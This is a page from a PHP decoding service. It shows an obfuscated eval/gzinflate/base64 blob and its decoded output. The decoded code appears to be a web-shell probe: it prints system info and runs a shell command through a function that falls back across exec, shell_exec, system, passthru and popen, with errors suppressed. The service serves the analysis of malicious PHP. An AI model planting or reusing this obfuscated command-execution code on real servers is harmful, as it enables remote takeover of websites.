Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('pZLfasMgFMbvB3sHK4UolLKNXa3ryIMMJLHHxs1o8ChLKX33qWnaXRR6sbvw..

Decoded Output download

bogel<br>sys:Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686<br>echo "bogel<br>";
echo "sys:".php_uname()."<br>";
$cmd="echo blackunix";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("
",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('pZLfasMgFMbvB3sHK4UolLKNXa3ryIMMJLHHxs1o8ChLKX33qWnaXRR6sbvw/fl9BwnIzhHauj2Y99Z/0M3jAxQJD/hG10M3iGibHhhf0zmwlP1uS0usNY38jlaPRQeEfdTZhZHlFJ9xVyspKloZtLOkpBTwY+p6QLIlVZV8rQhbQD+Ew2RnXys21wSMGgOyCkaQVXHr/FnCqwzKs2fgl9OW0U9LL8YpnWQQbgGxA2PEFXtm1Fd9OugO5YAB+vNhrhUYGh9YLtWTdYHM/BTaQxDS2QA2IUo2iWB3QhpoLLszOTSIofPx5uhs/nu21ihS1UUvgS1VRgxuADs9PPWU/301mn+Jn04bYItagVOpwjk5kuKvU1l5aHZJXT0/vbzyDTnlY6VxmOllOikeQvS2lLLyCw=='))); 

Function Calls

ex 1
gzinflate 1
php_uname 1
base64_decode 1

Variables

$cmd echo blackunix

Stats

MD5 cf7da7278655c1246d01f3c83325fce4
Eval Count 1
Decode Time 115 ms